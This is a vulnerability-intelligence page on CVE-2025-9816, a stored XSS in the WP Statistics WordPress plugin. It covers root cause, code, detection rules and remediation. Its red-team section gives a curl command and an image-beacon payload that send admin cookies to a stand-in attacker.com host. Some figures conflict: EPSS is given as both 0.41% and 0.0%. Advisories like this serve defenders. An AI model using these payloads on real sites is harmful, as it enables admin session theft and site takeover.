☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9816

CVE-2025-9816 Cross-Site Scripting in Wp statistics
📅 PUBLISHED: 2025-09-27 04:26 UTC 🔄 UPDATED: 2026-10-09 23:02 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9816 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Statistics plugin for WordPress, affecting all versions up to and including 14.5.4. The vulnerability resides in the plugin’s handling of the HTTP User-Agent header. Due to insufficient input sanitization and output escaping, an unauthenticated attacker can inject arbitrary JavaScript or HTML into the User-Agent header. When a WordPress administrator or other user views the statistics page (e.g., the “Visitors” or “Browser” details), the injected script executes in their browser context.

This is a WordPress ecosystem vulnerability; the flaw is entirely within the WP Statistics plugin’s code, not in the underlying web server (Apache or Nginx). The CVSS score is 7.2 (High), with a vector indicating network-based, low-complexity, no-privilege-required, and no-user-interaction exploitation. The EPSS score is 0.0%, suggesting low current exploitation activity, but the risk remains significant due to the plugin’s popularity and the ease of exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. There is no associated NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to the plugin’s update mechanism; users must manually update or rely on WordPress’s built-in update system. No malicious package versions have been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated attacker.
  • User Interaction (UI): None (N) – No victim action needed for injection.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Script execution can modify page content.
  • Availability (A): None (N) – No direct impact on availability.

Overall Score: 7.2 (High)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to session hijacking, defacement, or phishing within the WordPress admin panel.

Deep Dive & Mechanics

The WP Statistics plugin logs visitor information, including the User-Agent header, to display in the admin dashboard. The vulnerable code path occurs when the plugin stores the raw User-Agent string into the database and later retrieves it for display without proper sanitization or escaping.

Root Cause: The plugin uses $_SERVER['HTTP_USER_AGENT'] directly (or via a helper function) and inserts it into the database. When rendering the statistics page, the plugin outputs the stored value using echo or similar without applying esc_html() or wp_kses().

Attack Flow:

  1. Attacker sends an HTTP request to any WordPress URL with a malicious User-Agent header containing JavaScript, e.g., <script>alert('XSS')</script>.
  2. The WP Statistics plugin logs this request, storing the malicious payload in the wp_statistics_visitor table (or similar).
  3. An administrator visits the “Visitors” or “Browser” details page in the WordPress admin.
  4. The plugin retrieves the stored User-Agent and outputs it without escaping.
  5. The browser executes the injected script in the context of the admin’s session.

Impact: An attacker can steal admin session cookies, perform actions on behalf of the admin (e.g., create new admin users, install malicious plugins), or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (wp-statistics/includes/class-wp-statistics-visitor.php – approximate):

// Vulnerable: Direct use of User-Agent without sanitization
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$wpdb->insert(
    $wpdb->prefix . 'statistics_visitor',
    array(
        'user_agent' => $user_agent,
        // ... other fields
    )
);

Patched Code (hypothetical fix):

// Patched: Sanitize and escape User-Agent before storage and output
$user_agent = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) );
$wpdb->insert(
    $wpdb->prefix . 'statistics_visitor',
    array(
        'user_agent' => $user_agent,
        // ... other fields
    )
);

// When outputting:
echo esc_html( $visitor->user_agent );

Key Differences:

  • Input: sanitize_text_field() strips malicious tags.
  • Output: esc_html() converts HTML special characters to entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with WP Statistics plugin version <= 14.5.4.
  • No authentication required.

Exploit Steps:

  1. Identify the target WordPress site.
  2. Send a crafted HTTP request with a malicious User-Agent header:
    curl -X GET "http://target-wordpress-site.com/" \
    -H "User-Agent: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
    
  3. Wait for an admin to visit the WP Statistics “Visitors” page.
  4. The injected script executes, exfiltrating the admin’s session cookie to the attacker’s server.

Alternative Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>

Note: No public exploit-db code or nuclei template is available for this CVE.

Blue Team (Detection & Hardening)

Detection:

  • Monitor HTTP logs for suspicious User-Agent strings containing <script>, onerror=, javascript:, or other XSS indicators.
  • Use WAF rules to block User-Agent headers containing HTML/JavaScript.

Hardening:

  • Apply the vendor patch immediately when available.
  • As a temporary workaround, disable the WP Statistics plugin or restrict access to its admin pages via .htaccess or a security plugin.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with User-Agent containing <script>, onerror, javascript:, or base64-encoded payloads.
    • Outbound connections from the WordPress server to unknown IPs/domains (exfiltration).
  • File IOCs:

    • Entries in the wp_statistics_visitor table with user_agent field containing HTML/JavaScript.
  • Log IOCs:

    • WordPress debug logs showing PHP Notice: Undefined index: HTTP_USER_AGENT (if plugin fails to handle missing header).
    • Web server access logs with unusual User-Agent strings.

Detection Engineering

YARA Rule

rule CVE_2025_9816_WP_Statistics_XSS {
    meta:
        description = "Detects malicious User-Agent strings targeting WP Statistics plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9816"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /javascript\s*:/i
        $xss4 = /onload\s*=/i
        $xss5 = /<img[^>]*onerror/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-9816 - WP Statistics Stored XSS via User-Agent
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious User-Agent headers targeting WP Statistics plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-user-agent|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
            - '<img'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in User-Agent (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-9816 - WP Statistics Stored XSS via User-Agent";
    flow:to_server,established;
    content:"User-Agent|3a|"; http_header_names;
    pcre:"/User-Agent\x3a[^\r\n]*<script[^>]*>/iH";
    pcre:"/User-Agent\x3a[^\r\n]*onerror\s*=/iH";
    pcre:"/User-Agent\x3a[^\r\n]*javascript\s*:/iH";
    sid:10000001;
    rev:1;
    reference:cve,2025-9816;
)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin: If a patched version becomes available, update immediately.
  2. Disable the plugin: If no patch is available, disable WP Statistics until a fix is released.
  3. Restrict admin access: Use .htaccess or a security plugin to limit access to /wp-admin/admin.php?page=wps_visitors to specific IPs.

Long-term Measures:

  • Implement a Web Application Firewall (WAF) with rules to block XSS in headers.
  • Regularly audit WordPress plugins for vulnerabilities.
  • Enforce Content Security Policy (CSP) headers to reduce XSS impact.

Workaround Code (if plugin cannot be disabled): Add the following to the theme’s functions.php to sanitize User-Agent before storage (note: this may break plugin functionality):

add_filter( 'wp_statistics_user_agent', 'sanitize_text_field' );

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-statistics"
http.html:"wp-content/plugins/wp-statistics"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9816/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.